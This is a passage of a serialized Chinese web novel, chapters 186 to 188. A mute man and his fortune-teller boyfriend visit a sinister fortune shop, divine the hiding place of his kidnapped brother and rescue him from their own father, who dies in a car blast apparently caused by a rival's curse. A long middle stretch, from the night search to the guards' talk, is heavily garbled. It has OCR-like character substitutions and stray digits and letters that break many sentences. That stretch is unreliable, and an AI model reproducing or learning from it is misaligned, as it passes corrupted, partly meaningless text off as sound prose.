白母却像受到什么刺激般忽然松开他后退几步,声音尖锐到一度都破了调,她用力攥紧白默年的肩膀,双眼因为好几天没睡觉满是血丝,细看甚至带着几分祈求:“默年,咱们不能报警,不能报警啊!你哥哥和爸爸失踪的消息如果传出去,那些对家肯定会暗地里使绊子的,万一你爸爸被警察抓了,咱们家就全完了!你知不知道这是多大的丑闻!!”她紧紧攥住白默年的手,嚎啕大哭下甚至站不稳身形,再也不见平常优雅的样子:“就当妈求你,千万别报警!你这几天哪儿也别去,就待在妈身边好不好?!”白默年闻言不语,而是静静打量着面前这个歇斯底里的女人,他从来没有哪一刻这么清晰认识到,自己和哥哥的生命对于父母来说都是“身外之物”,甚至比不上她脖子上戴着的那条莹润的珍珠项链。这个念头让白默年忽然忍不住笑了一下,只是怎么看怎么讥讽,或许这副表情和平常的他比起来有些割裂,以至于白母一时止住了哭声,险些怀疑自己眼花了:“默年,你…….“不报警,那你就等着给我哥收尸吧。” 白默年低沉沙哑的声音在寂静的客厅内响起,就像被砂纸打磨过一样,陌生至极,白母闻言惊愕睁大眼,不可置信望着他:“默年,你…你会说话了?!”白默年笑了笑,无端让白母打了个寒碜,直到这个时候她才发现记忆中青涩的儿子已经长大了,再也不是十三年前那个无力反抗,高烧哭得声嘶力竭的小孩了。 “妈,”他再次开口,只是这次声音更轻,毒蛇吐信般令人毛骨悚然,“那你知不知道我过去十三年为什么不能说话了?”白母下意识后退了一步,高跟鞋失去平衡,整个人都跌到了沙发上,她无措望着面前陌生可怕的小儿子,脸色苍白,唇瓣颤抖不止:“默年……你………你听妈解释…….白默年一言不发望着她,抬手指了指自己的耳朵,听不出情绪的道:“我最不想听的就是你们的解释。”今天如果不是为了白听川,他根本不会踏进这个家门半步,事实证明白默年的选择也确实错了,他根本不该对这些人抱有任何期待。白默年最后看了眼这间奢华空洞的房子,然后在母亲绝望的哭泣声中转身离开,只觉得心底最后一丝羁绊也被彻底斩断。 “默年!”白母挣扎着想要追上去,却被自己的高跟鞋绊住了脚步,只能眼睁睁地看着那个清瘦的背影消失在玄关阴影中,大门关上的力道很轻,却像一记火辣辣的耳光扇在她脸上,说不出的羞愧痛苦。封凛把车停在路边等候,他靠着车门抽到第三根烟的时候,终于看见白默年从里面走出来,顺手掐灭烟头扔进垃圾桶,走上前问道:“怎么样,你哥真的失踪了?”白默年的情绪已经在刚才那段路上平静了许多,直到看见封凛,指尖的温度这才感觉稍稍回暖,他迎着对方担忧探究的视线,轻轻笑了笑,然后用手语比划道: 【回家再告诉你。】【现在先陪我去个地方好吗?】 封凛眉梢轻挑:“什么地方?” 白默年没有立即回答:【上车我给你看导航。】 封凛也没在意,顺手打开车门坐上了驾驶座,然而就在他准备发动车子的时候,这才发现白默年要去的居然是一家导航地址为“Si Rompeng(玄学算命店)”的地方,眼皮子不禁狠狠一跳:“你要去算命?” 看的出来,封凛觉得这件事相当荒谬,声调都比平常高了几分,他自己就是算命的,白默年居然要去找别人算,把男朋友的颜面置于何地?! 白默年原本在划拉手机屏幕,听见封凛的声音身形不由得僵,这才反应过来封凛好像也是搞玄学算命这方面的,他慢半拍抬头看向对方,迟疑比划道: 【我只是去看看,不是真的算命。】 封凛无声眯眼,目光危险地盯着白默年,摆明了不信。 白默年只好换了个借口:【听说那家卖的水晶手链很漂亮,所以我想去转转。】 封凛从后槽牙硬生生挤出一句话:“那些洋玩意儿都是骗人的!你想戴手链我回头给你做一条,都是祖师爷爷面前开过光的,不仅灵,而且不 要、钱!” 他着重强调了最后一句话,试图让白默年悬崖勒马,然而话音刚落,脸颊就陡然落下一片温热,白默年捧着他的脸亲了亲,眼底满是明亮浅淡的笑意,看不见半点阴霾:“我知道你算命最厉害了,但是我想去看一看,陪我一起吧?” 封凛:“……” QAQ他自己都没舍得坑白默年的钱,现在对方居然要去给外面的玄学骗子送钱?简直荒谬!! 白默年见封凛不吭声,又凑过去亲了亲他:“我保证什么都不买,只是看看,行吗?” 他知道的,自己男朋友很抠门。 封凛:…也行。 封凛的脸色虽然依旧臭臭的,但还是发动车子朝着目的地开去,那家“Si Rompeng”虽然位于市中心,但生意并不算太好,店面给人的第一感觉就是阴森鬼魅,根本没有人敢进去。 封凛降下车窗,指尖在方向盘上轻敲,以极其挑剔的目光打量着这家店:“你确定要进这家黑店?” 白默年点了点头,用手语询问道:【要不我自己进去,你在外面等我?】 “不用,我陪你进去。” 封凛当然不放心让白默年一个人进这种鬼地方,他语罢直接打开车门下车,“砰”一声关上车门,然后和白默年一起进了那家奇奇怪怪的店,刚一推门进去,头顶就传来一声清脆的铃响。“叮铃—“ 甜腻到近乎窒息的熏香扑面而来,混杂着某种陈年的檀木味,让封凛下意识皱了皱眉。 茶室昏黄的光线下,只见一个身穿复古长衫的年轻男子正慢条斯理地甚茶,不偏不倚刚好是两杯,雾气氤氲间,他抬眼望来,镜片后的眼睛闪过一丝笑意 “两位是来算命的?” 他起身时,素白长衫如水纹般漾开,连尘埃都没有惊动。 白默年盯着男子颈间挂着的朱砂佛牌看了片刻,视线又下移到男子右手虎口处纹着的恶鬼怒目纹身,眼底深处翻涌的暗潮转瞬即逝,等再抬眼时又恢复了正常,听不出情绪的问道: “这里只算命吗?” 陈骨生示意他看向那些雕花架子上摆着的物件,有金属邪佛,有不知名的水晶石头,还有各种奇奇怪怪的巫蛊娃娃,但更多的还是书: “也卖东西,只要客人付得起代价。” 他说的不是价钱,而是代价。 白默年注意到最里面的架子上摆着很多个“毗舍遮”,和他当初的那个金属铜人一模一样,指尖控制不住一紧:“这些也是卖的?” 陈骨生修长骨感的指尖不紧不慢转着茶杯,镜片后的眼睛笑望着他,意味深长反问道:“先生,只要你出得起价,世界上又有什么不能买到呢?” 他做了个请的手势:“不如进去坐下来喝杯茶,慢慢谈?” 白默年自然不会拒绝,迈步走了进去,但没想到封凛入内的时候面前却忽然多出了一只虚拦的手,“礼貌”性请他后退: “先生,请在外面稍等片刻。” 白默年都看见了那些毗舍遮,封凛又怎么会发现不了,他望着面前这名身穿长衫的斯文男子,只觉得对方神秘危险,淡淡挑眉: “我也想算命,不能跟着一起进去吗?” 陈骨生不语,而是从旁边的南洋风雕花抽屉里取出一个牌子挂在墙上,然后屈指轻轻敲了敲,只见上面分别用中文、英文、马来语各写了一句话: 【同行请勿入内。】 封凛额头青筋一跳:“…. 陈骨生好像没看见封凛杀人般的目光,微微一笑:“先生,为什么这么盯着我,难道我们以前认识?” 186、狠宰一笔 “不……只是没想到你眼睛这么尖,居然能看出来我是同行。” 封凛电光火石间就找好了理由,他随手拨弄了一下那块“同行请勿入内”的招牌,目光在陈骨生的眉眼间逡巡,像是发现了什么有趣的事:“请问贵姓?” 陈骨生浅笑,并没有过多解释这个生僻的名字:“我姓陈,名骨生。” 封凛反问:“万法皆从骸骨生?” “不,”陈骨生垂眸扶了扶眼镜,望着封凛的眼睛轻飘飘吐出一句话,“是向死而生的‘生…… 除了他们自己,大概没人能听懂这句话的意思,毕竟无论是“万法皆从骸骨生”,还是“向死而生”的“生”,看起来都是同一个字。 封凛笑了一声:“真巧,听起来像一个死人的名字。” 陈骨生轻轻偏头:“是吗?可我现在好像还活着?” “不急。”封凛看向他右手处的纹身,意味深长道,“我从来没见过有人中了双生降’还能活过三十岁的。” “双生降”这个词出,四周的温度忽然降了许多,陈骨生明显顿了顿,而白默年不知什么时候走到了封凛身边,轻轻拽了拽他的袖口:“我们走吧。” 他不可能让封凛被拦在外面,大不了今天不算命了,下次再单独过来。 封凛却道:“没关系,你进去算命吧,我坐在外面边喝茶边等你。” 他语罢安抚似地拍了拍白默年后背,然后转身走到外面待客用的沙发上坐下,随手抽了本杂志翻看,顺便还给自己倒了杯茶。 白默年见状迟疑片刻,终究还是转身走向内室,陈骨生慢条斯理跟在他身后,临进门时忽然回头看向封凛,清俊的侧脸隐入阴影,唇角微扬: “封先生,人生苦短不要紧,及时行乐就好。” 他好像特意查过封凛,连姓什么都知道 … 封凛闻言翻书的动作一顿,抬眼看去,恰好瞥见陈骨生白色的长衫下摆拂过门槛,一道竹帘被他随手放下来,彻底挡住了里面的情景,连声音都听不见。 “陈先生,你应该不记得我了吧。” 这是白默年在椅子上落座后说出的第一句话,他今天穿着一件黑色外衣,这样的颜色总是把他的皮肤衬得很苍白,透着不健康的病态,偏偏唇色又很红,阴恻恻望着陈骨生的时候有一种被鬼盯上的感觉。陈骨生掀起长衫淡然落座,他的姿态很是随意,举手投足却有一种受过良好教养的感觉:“白先生,严格来说,这是我们两个人的第一次见面。” 他很年轻,看起来最多二十岁的样子,尽管穿着打扮都透着复古的书卷气,但光滑的皮肤是骗不了人的,有些人哪怕保养得再好也多多少少会透出一些岁月的痕迹,例如脖子,例如手背,例如眼神。 但陈骨生没有,他给人的感觉就是很年轻,虽然面容和十三年前那个人长得一模一样,年龄却是对不上的。 白默年冷冷盯着他:“你知道我姓白?” 陈骨生拎起桌角咕嘟冒泡的茶壶,不疾不徐斟了两杯茶,然后端起一杯递到鼻尖轻嗅,他的眼镜并不起雾,所以白默年能清楚看见他眼底的笑意:“你的父亲白老先生,曾经是我哥哥的客户。” 白默年皱眉:“你哥哥?” 陈骨生笑抿了一口茶,雾气氤氲:“很多人都说我们两个长得像,但很可惜,他十三年前就死了,没办法让你亲眼看一看。” 白默年:“他是怎么死的?” 陈骨生用最轻描淡写的语气说着最惊悚的话:“他从小在南洋学降头术,练丝罗瓶的时候出了意外,头颅连着内脏一起飞出去,但没有在天亮的时候及时飞回身体里,所以就死了。”白默年深深望着他:“好巧,我也有一个哥哥,不过现在失踪了。” 陈骨生状似惋惜地摇头:“真遗憾,我很想帮你算一下令兄的下落,可惜我们这一行有规矩.… 至于是什么规矩,他却没说。 但想想也能猜到,他已经接了白振业的生意,又怎么可能再去帮白默年。 一个小时后,封凛坐在外面喝茶都快喝饱了,白默年终于从里面走了出来,他什么都没说,只是对封凛轻轻摇头,然后和他一起走出了这家店。封凛也知道这里不是说话的地方,他打开车门上车,等白默年在副驾驶坐定,这才出声询问道:“算的怎么样?”白默年的口袋里仿佛塞着什么东西,坐下时不小心露出了一个白色的边角,他看也不看,随手扔到烟灰缸里,倒也不见太大的失望:“我想让他算一下我哥的下落,不过他说不能告诉我,所以我就出来了。” 封凛有些不太信,他修长的双指一夹,抖了抖 张被白默年随手丢掉的纸,赫然是一张发票,挑眉狐疑问道:“你没找他算命,怎么还消费了三千块钱?”白默年欲言又止地看了他一眼,好像有些不太敢说。 封凛心想自己又不是怪物,白默年至于那么害怕吗,随手揉了一下他的脑袋:“没事,说吧。” 白默年顿了顿,这才吞吞吐吐道:“他说………这是你的茶水费。” 封凛闻言身形一顿,缓缓抬头看向白默年:“我喝什么茶水花了三千块?” 看的出来,他很震惊。 白默年迟疑一瞬,当着他的面竖起三根手指:“好像是三壶,极品铁观音。” “艹!”封凛忍不住冷冷咒骂出声,他第一次遇到比自己还会宰人的骗子,“这个死奸商!就他那破茶还敢叫极品铁观音?!宰人宰到我的头上来了?!”他语罢打开车门就要下去找陈骨生算账,结果被白默年眼疾手快拉住:“算了,钱都付了,就当花钱买个教训。“ 封凛余怒未消,心想什么教训这么贵:“那三千块就这么算了?!” 白默年用了些力气把封凛拉回来,心里有些想笑,但是忍住了:“别生气了,我们先找我哥,等找到他之后,我再打12315举报这家黑店好不好?” 封凛神情抽搐:“你确定有用?” “确定,”白默年吧唧亲了封凛一口,认真点头,“我什么时候骗过你。” 封凛听见这句话,心气终于顺了点,毕竟他这种浑身反骨的人就得顺毛捋。封凛直接把方向盘一转,然后猛踩油门往城方向开去,望着前方对白默年没好气道“不就是想算你哥的下落吗,我刚才坐外面喝茶的时候就算出来了,你还用得着找那个奸商?” 封凛刚才坐外面的时候就给白听川算了一卦,主卦为雷水解,震上坎下,变卦为地水师,坤上坎下,动爻为初六、九四,是一支“利西南,无所往,其来复吉”,身陷囹圄的卦象。九四爻动,爻辞曰:“解而拇,朋至斯孚。”拇为手足之始,意指束缚初解;然变爻后坤土压坎水,师卦主征战,故解救需外力介入。 方位上,坤为西南,坎为水、为低洼,所以绑架地点很可能在城郊山后近水的阴僻处,卦中坤土为废弃之象,坎水流通处或有旧管道、水池,正适合藏人。 封凛一路开出城外,直接进了山路,保险起见还给几个师兄弟发了消息同步坐标,毕竟等会儿很有可能会干架,多一个人多一份把握。 白默年坐在副驾驶,总觉得他们两个人有些势单力薄,迟疑开口:“我们要不还是报警吧?” 封凛操控方向盘拐了个弯:“没事,我们先进山确定一下位置,等真的找到人了再报警,万一卦象错了不是浪费警力吗,我已经给清逸他们发了消息,等会儿他们也会赶过来一起帮忙找,放心吧。”白听川的卦象并不是死卦,所以封凛并没有那么着急,他按照导航地点一个个排除,最后开到了东山附近,这里因为地处荒僻,所以二十年前建了很多化工厂,化工厂拆了之后又变成废弃钢厂,除此之外还有很多烂尾工程,基本上没什么人来。封凛打开车门下车,然后拿着手机在附近绕了一圈,结果发现一进山就会失去信号,只好重新退回了公路边:“我们在外面等等,免得清逸他们联系不上。”这片山实在太大了,而且到处都是林子,警察来了估计也得搜寻半天。封凛今天没带罗盘出来,一时没办法确定详细坐标,只好等着清逸他们送东西过来。白默年当然不会有意见,他和封凛把车停在公路边,然后靠着围栏站在公路边等待,原以为清逸他们大概一两个小时就能到,但没想到从下午三点一直等到六点都不见人影,天色也渐渐暗了下来。深秋时节,山里一入夜就降温了。 白默年把外套拉链往上拉了拉,疑惑问道:“他们会不会迷路了?” “都多大的人了还迷路。” 封凛吐槽了一句,但忽然想起来清逸他们年纪还真不算大,只好掏出手机拨了个电话过去,然而连打了几个都没人接,心里也有些纳闷:“奇怪,怎么一个两个的都不接电话。” 就在封凛思忖着要不要继续等的时候,远处漆黑的公路尽头忽然传来一阵“突突突”的声音,只见一辆载着人的小电驴正摇摇晃晃往他们这边开,速度比自行车快不了多少,开车的那人戴着一个小黄鸭头盔,正奋力抬手对他们打招呼,声音被凛冽的风声吹得有点破音: “大~师~兄~我们来~啦!” 赫然是清逸,小电驴后面还坐着灵薇。 封凛见状眼皮子猛地一跳,一度怀疑自己眼花了:“我不是让你开车多带几个人吗?!你怎么就把灵薇带过来了?!” 清逸捏住刹车帅气停在封凛面前,摘下头盔指了指后面,呲着一口大白牙傻乐:“大师兄,我的面包车开到一半熄火了,没办法只能换了辆小电驴,清明和清平他们还在后面蹬自行车呢。”他说着挠了挠头,有些心虚的补充道, “天亮的时候应该能到。” 封凛懵了:“你们怎么不打辆车过来?” 清逸干巴巴吐出两个字:“没钱。” 就连坐在后面的灵薇也是一副囊中羞涩的腼腆样子:“大师兄,你忘了,上次我们的钱都让师父给拿走了。” 封凛:“那清平他们呢?他们也没钱吗?“ 清逸尴尬咳嗽了一声:“那什么……师父回国后不是开了个会嘛。” 师兄师弟们聚在一起,全部被宰了一波,连打车钱都没了。 #或许造成他们贫穷的最根本原因并不是五弊三缺,而是师父# 187、三打二 封凛原本还想趁着天亮的时候进山找人,没想到遇见了这几个坑爹货,他面无表情解开袖扣橹起袖子,一副言不合就开打的模样,把清逸吓得蹭蹭蹭后退了几步躲到白默年身后“大师兄,你是不是想打我?” 封凛冷冷挑眉:“想打你随时都可以打,用得着挑今天吗?罗盘带了没?” “带了大师兄,在我这儿呢。” 灵薇坐在小电驴后座回言连忙从车上下来。只见她怀里抱着一个大背包,蹲在地上把东西全倒了出来不知是不是因为封厚说要进山龙人除了各种去器,她还另外带了安全绳秦和手电筒,比清逸靠谱多了.封凛见状脸色稍霁,他弯腰从里面找出罗盘,然后把上面的浮灰吹掉:“默年他哥让人绑架了,等会儿你们拿着手电筒跟我一起进去找人,记得注意安全。” 灵薇闻言“啊”了一声,难掩惊讶:“默年哥,你哥哥让人绑架了吗?” 清逸拿着手电筒的手都在抖——激动的,因为他已经脑补了一场和绑匪斗智斗勇的大片,这足够让任何中二少年热血沸胯“默年哥,你放心!我们肯定把人给你找出来!” 白默年轻轻点头因为知道他们不懂手语,所以只用了一个最简单的动作,大拇指弯曲两下【谢谢。】 另外一边,封凛已经调试好了罗盘:“走吧,西南方,别跟丢了。” 他语罢单手拿着罗盘,另外一只手在黑暗中悄然牵住白默年,然后牵着对方往山路深处走去,清逸和灵薇见状也连忙拿着手电跟上。A市是中心城市,郊区的山林算不上高险,却布满T业时代的造骸,入夜之后搜寻难度直线上升,走若走着就会莫名其妙深到一堆废铁,要么就是一堆廠“的动物户体,连罗盘都受到了磁场扰,指针方向一个劲乱转。清逸和灵薇边走边在附近的树上挫红结做记号,上面串着许多不同大小的结,一是避免迷路,二是为了防止山里的精怪作宗,毕竞这种环境下很容易出现脏东西,那些红结都浸过鸡血,定程度上可以89除宗。然而他们在山里走了整整两个小时,虽然设路,但也一面设找到由象上品示的1近水阳倍处,就在封模口经巴那个失天的罗盖扔进皆包,准备用相当复条的空准法重新起扫算一下坐标的B报,手腕2然一紧,被白大年给罐住了“我知道他们在哪儿了—” 白默年冷不J开口,把所有人都部吓了一就,只见他死U着不远处态里的采来的道路尽头,一字句清晰重复道 “我知道他们在哪儿。” 城郊有一片名为新松的工业园区,不过早已废弃,十几年前白家经商时,曾在这里硅过工.白听去年整合资产的时换还考察过这块荒地,但他万反想到自己有一天会被亲生父亲绑在这里,废弃厂房内弥浸着农重的铁锈味,夹杂着挥之不去的化学品刺鼻气息,昏暗的空问里,台生锈的巨型发电机静矗立在角落,顶上垂下的简易灯泡投下昏黄的光晕,照亮了下方几张交麦乱的折善床两名魅档的保镖任房门口来回喷步,疲意巡视着四周,屋子里的烤火炸的站烧,照亮了旁边名眼高深陷的中年男子。他身上的西装看起来皱巴巴的,好像几天都交换过了,此刻正专违烤着根用据丰用施市女子的5B服油脂滴落在炭火上,发出滋旅的声响,肉否在密闭空问里散,却与四周腐5的气息交织,形成-种令人作I区的怪味。白振业用小刀鞍了影鸣内,确认书熟后,这才起身走向角落的折温床床上躺着一名年轻男子,面容巷白,后瓣干裂出血,身上皱巴巴的衣服无声表明了他的被困时问,手脚都破尼龙绳捆着,因为过度挣扎已经勒进皮内,赫然是失踪已久的白听.白振业在床边落座,剖下一块边缘生黑的鸡腿内递到他嘴边,热气混着未散尽的腥味。依/旧维书者父亲的口吻“来。听.,点东西,你部好几天没吃东西了,万俄坏了你看见要心疼的.”他们位这段时回怕引起外人注意,一直待在这个废弃厂房设出去过,吃唱都是用泡面解决中的,直马昨天才悄的开车去附近的市场买了点菜,R5女好的09BD双对丁T一个三四天安屹b的人来说也算得上道美食了。鸡内就尽在嘴边,白听却条/材双服,将头天恶偏向一则,炭火的光影在他瑜上眺动,职出后宇问超固自抗拒从被白振业捆来的那一天开始算起,白听就再也冷吃过东西,连水都是硬港进去的,他实在无法接妥直被自己视为榜样的父亲居然是一个人面兽心的高生,心庭到了极点连5的念头部有,又怎么会有心情吃东西。白振业见状眼底怒容隐现,直接掐住白听的下筋把手里的鸡B服硬往他嘴里塞,白听川共D始终牙关紧闭,最后被逼得设办法怨然大退报偏头吐出嘴里的东西,然后口咬在了白振业手上,引得对方惨叫出声。 “啊!!” 白振业捂着手惊怒后退,低头看了眼伤口,只见皮都差点被咬掉了一块,他上前“啪”地扇了白听川一个耳光,怒不可遏道:“你想饿死是不是?!行!等改完命老子就直接送你去死!敬酒不吃吃罚酒!我白养了你二十几年,现在让你做点事都这么不情不愿吗?!” “呸!” 白听偏头吐掉嘴里的血沫,苍白的脸上浮起鲜红的掌印,他扯开干裂的嘴唇冷笑 “你有本事现在就杀了我,反正我在你眼里不过是个工具,以后也别提什么父亲儿子,我多看你一眼都觉得恶心!”早在三天前,他还在苦苦京求亲回头,然而无论他写么苦口心BKnsa者倍怒席当白振业部都不为所动,直到由听1旧F差阳错从他嘴里得知弟弟当年的合哑外是因力借命造成,整个人放如暗天露需雳,多年来坚的信念瞬回响坦。记忆中弟弟那年阴差阳错生的一场大病,无缘无故变得聋哑沉默,还有父亲无底线的宠溺,母亲愧疚的目光,二十多年的家人温情,此刻全部化作玻璃渣,狠狠扎进了心脏深处。“恶心?!你恶心什么?!难道不是我给你吃给你穿把你养大的吗?!” 白振业早在当年借命的那一刻就已经变魔障了,他用力攥紧白听川旧的肩膀,不明白儿子为什么反应这么大, “等借完命后你最多听不见而已,我可以找保姆找翻译24小时跟在你身边,这有什么大不了的?你弟弟当年不也是这么过来的吗?!他从来都没向我抱怨半句!” 白听听见他的理直气壮的狡辩,只觉得浑身血液都在倒流,一颗心坠进了冰窟窿里,遍体生寒,咬牙切齿挤出一个字 滚!” 他双目猩红,歇斯底里怒吼道:“你给我滚!你要么杀了我!要么现在就从我眼前消失!白振业,你迟早会遭报应的!!” “报应?我可不信报应,只要我舍得花钱,什么命不能改。” 白振业忽然不生气了,因为这个儿子很快就会替他挡劫死掉,心底那一丝残存的“父爱让他看向白听旧的目光都变得怜悯慈爱起来,他从外套里掏出一块手帕,擦了擦脸上不知是血还是汗的液体 “你好休息吧,饿了就喊人过来给你喂饭。” 语罢拍了拍白听旧的肩膀,这才起身离开出去发消息 山里信号不好,总足断实续的,白振业早在上个星期就约好了和陈骨生在这里碰面,但对方加足退没有赶约,偶尔回信也口说日子不对,又或者仪式工具冷准备好让白振业心底隐隐冒出了一股不祥的预感。两名保键经在这里守了使一个程明,天吃包面,又被女子收,最关建的是一个人影都没有难免有些偏忘起来,他们见日瓶业绕乳列后面打电话,互相交换了一最眼神到工门口地烟打火机三起。被山归技施合DKI政7得明灭不定打了好几次才终于点燃烟头。 “娘的,咱们这过的是什么日子。” 典中一名保镖全得保了防脚,白振业人前最多出门参加个慈盏啤癣或者出国达生的阳时据才会带着他们1,虽然要寸步不高地眼者,但吃喝住行都不算差,没想有天压然会在山沟写里堰西北区 另外一名保镖纳眉深吸了一口烟“行了,少说两句,董事长不是已经和那个什么陈大1师的约好了吗,最多两天就能蛇走了。 “弄这么玄乎,真的假的啊?””有钱人不就信这个吗?”他们刻意压低的声音在板静的山林回有些听不大洁,但指头然E的星火已经暴需了身形,封厚和白默年他1们5就8躲在一个山油后面,在内心暗自比了一下双方人数,然后发现己方占据了绝对优势。封模转眉压低声音道“灵薇,你字若手机去找个有信号的地方报警,我们三个先进去看看情况他们刚才躲在外面,听见里面传束4怒骂声,也不确定白听川有没有生命危险,保险起见还是进去检查一下,白振业那个老弱病暂目忽略不计,他们三个大男人收拾两1保镖应该够用了.灵薇会意点头,立即猫着腰隐入夜色,三人对视一眼,借着杂草掩护翻上小土坡。封凛身形捷,率先出招,一个肘击精准命中保镖后颈,那人闷哼一声,直接瘫软在地。 “大师兄,剩下这一个交给我!” 清逸见状兴奋低呼,立刻好了出招委势,然而他还没束得及动手,就见另一个保L实的举风坦面而来,当D旧得大脑片空白,他也下知是不是大紧张,居然条件反身时从袖子里电出一张黄符,”喵”二地站在了对方额头上 保镖动作骤然倡住,不可置信地摸了接脑门上的符任,随ED怒火高胀,反手一拳把洁逸揍倒在地TMD''''你以为捉作户啊,还往我脑装上贴符?!他话音刚落,后颈就陡然袭来一阵剧痛,身形控制不住弯了下去,然而紧接着腹部就被人来了一个膝踢,“噗通”一声倒在了地上,痛苦弓成了虾米。借着月光照耀,只见封凛面无表情收回手,对身旁的白默年吐出一句话 “我们走。” 188、钱给你管 外面的打斗动静很快引起了白振业的注意,他原本站在山坡侧面打电话,隔着老远看见两名保镖被人撂在地上,脸色顿时一变,转身就跑。因为太过慌不择路,逃跑时还不小心踩断了一截树枝,“咔嚓”一声响在寂静的黑夜里显得格外突兀。封凛早就看见了白振业逃跑的身影,却没有追上去,而是和白默年一起走进了废弃工厂内部,只见里面唯一能够照亮的东西就是头顶的那盏简陋灯泡,白听川被尼龙绳死死捆在折叠 床上,脸色苍白虚弱,整个人看起来已经不太妙了。白默年见状脸色微变,连忙上前探了探他的鼻息,发现没什么伤口这才放下心来,然后摸索着找到绳结想把他解开,结果绳子捆得太紧已经变成了死结,根本扯不动。 “他没事,只是体力不支昏迷了。” 封凛从利落拿出一把折叠刀,寒光闪过,绳索应声而断,他发现角落里有没拆封的矿泉水,示意白默年把人扶起来,然后往白听川嘴里喂了点水。 白听川已经陷入半昏迷状态了,干裂的嗓子感受到冰凉的水流滋润,本能吞咽起来,总算恢复了几分神智,他迷迷糊糊睁开眼,结果就见弟弟和封凛出现在了自己面前,神情一愣,险些怀疑自己出现了幻觉,不可置信问道:“默年……封凛?你们怎么在这儿…. 封凛反手把刀收起来,线条凛冽的面容在灯影下更加分明,他见白默年不出声,只好解释道:“你失踪了好几天,我们一路找到这儿来的。” 白听川挣扎着撑起身子,环顾四周后声音嘶哑的问道:“白振业呢?” 封凛:“从侧门跑了。” “什么?!”白听川闻言忽然紧张起来,他不知哪里来的力气一把攥住白默年的手腕,焦急催促道:“快追!他手里还留着你当年的头发和精血!我的也被他拿走了” 白听川话未说完,意识到弟弟听不见,又猛地转向封凛,眼底布满血丝,语气难掩焦急,“那个降头师——他认识一个降头师,要是交到对方手里就全完了!” 封凛眉头一皱,虽然不认为白振业能掀起什么风浪,但那些头发和精血确实是个隐患,他把肩上的背包随手扔在在地上,干脆利落道:“你们在这等着,我去追。” 话音未落,人已经冲出了工厂,循着白振业逃窜的方向飞快追去。 封凛起初没把白振业这个老弱病残放眼里,但没想到对方一把年纪还挺能跑,再加上熟悉路况,在黑夜里玩儿命狂奔,比狐狸还狡猾。风声在耳畔呼啸,两人在崎岖的山路上展开了一场漫长的追逐。白振业为了逃命,恨不得使出了吃奶的劲,封凛则如同耐心的猎豹,始终保持着稳定的迫击节奏,一步步缩短着距离。当两人终于冲到公路边时,白振业已经气喘吁吁,他踉跄着跨过护栏,却见封凛一个翻身就跃了过来,就在这千钧一发之际,公路边的阴影里突然亮起车灯,照得人条件反射挡住了眼睛。刺目的灯光中,只见一名穿着浅色唐装的年轻男子倚车而立,他推了推金丝眼镜,镜片后的目光温和却深不可测。 封凛见状猛地刹住脚步,眉头紧皱,因为站在车旁的不是别人,赫然是陈骨生。 “陈……陈大师!”白振业却像抓住救命稻草般扑了过去,眼底露出狂喜,“你是来接我的吗?!” 陈骨生对白振业露出一抹浅笑,算是打过招呼,声音低沉清润:“白先生,我要的东西你带来了吗?” 白振业连忙从怀里掏出两个透明长瓶,依稀还能看见里面被血液浸泡着的发丝,语气焦急:“带来了带来了!陈大师!你这回可一定要帮我啊!!” 陈骨生接过玻璃瓶,修长的指尖在瓶身上轻轻摩挲了一下,唇角微勾,眼底流露出一丝满意:“这是自然,你先走吧,这里交给我。” 白振业闻言猛地转头看向马路对面的封凛。月光下,那个年轻男人面容冰冷,光是站在那里就让人不寒而栗。他咽了口唾沫,连滚带爬地钻进车里,发动机的轰鸣声在寂静的夜里格外刺耳,轮胎在地面擦出刺耳的声响,“嗖”一声开走了。“你还挺舍己为人。” 封凛迈步朝着马路对面走来,黑色的衣摆被风吹得猎猎作响,语气凉凉:“你该不会以为他今天真能跑得掉吧?” 陈骨生状似不经意晃了晃手中的两个透明试管,血液包裹着黑色的发丝在里面缓慢流淌,泛着一 种妖异的色泽,他嘴角噙着笑意,声音温润如玉:“封先生,说话何必这么大火气,我们怎么说也算是半个同行,冤家宜解不宜结。” 封凛瞥了眼白振业开车离去的方向:“你就是这么解’的?” 陈骨生漫不经心摊手:“我只是让他离开而已,可没有让他开我的车,谁知道白先生居然那么着急,直接抢了我的车就跑了。” 他一副受害者的语气,不知道的人看了还真以为他是什么良民,语罢上前两步,直接把手里的东西递给了封凛,微微勾唇: “怎么样,封先生,我可是很有诚意的。” 封凛眯眼,一时有些看不透面前这个人到底是敌是友,他的视线落在陈骨生手里拿两支透明试管上,并没有伸手去接,淡淡挑眉: “你做生意一向都这么两面三刀吗?” “这叫小心驶得万年船,毕竟和这种死劫将近的人牵扯太多,很容易祸及自身,封先生,你应该比我更明白这个道理。” 见封凛不为所动,陈骨生也不恼,他随手把试管抛向山坡,玻璃碎裂的脆响在夜色中格外清晰,血水渗入泥土,发丝随风飘散,转眼就没了踪迹。 山林间忽然卷起一阵阴风,树叶沙沙作响,仿佛是谁在低声轻语。 陈骨生望向公路尽头,嘴角勾起一抹难以察觉的弧度,他从袖子里取出一个精巧的铜人像,指尖摩挲着铜人冰冷的表面,自言自语,轻得就像一声叹息: “天命难逃… 突然,他修长的手指猛地掐住铜人脖颈,狠厉一扭—— “砰!!” 远处公路骤然传来一阵震耳欲聋的爆炸声,冲天火光亮起,白振业驾驶逃窜的那辆轿车翻滚着坠入山崖,在夜色中划出一道刺目的火线,与此同时一阵尖锐的警笛声从公路尽头由远及近,划破了寂静的长夜。封凛见状瞳孔骤缩,目光锐利地扫向陈骨生:“你做了什么?!” “我?” 陈骨生无辜推了推鼻梁上的眼镜,轻笑出声,慢条斯理开口, “我什么都没做呀,封先生,等会儿警察万一到了,你可得做我的人证—是白先生自己抢了我的车,结果不小心发生侧翻,尸骨无存。”夜风吹来了远处着火的焦臭气息,陈骨生望着远处的冲天火光,不仅不害怕,反而像是在欣赏一场由自己精心编排的舞台剧,而现在终于到了落幕收尾的时刻。这估计是A市近十年来发生过的最荒唐的案子,亿万富翁误信邪术,绑架了自己的亲生儿子想要改命,结果逃跑途中抢了一个“无辜过路人”的车,因为车速太猛不小心发生侧翻,炸得尸骨无存,连头都飞出去了三里地。白家那个小少爷天生聋哑,暂时没办法做笔录,警察只能把目标对准了那个刚刚解救出来的大少爷,好几辆警车停在公路边,一边在车祸狼藉的现场调查取证,一边向目击者询问事发经过。 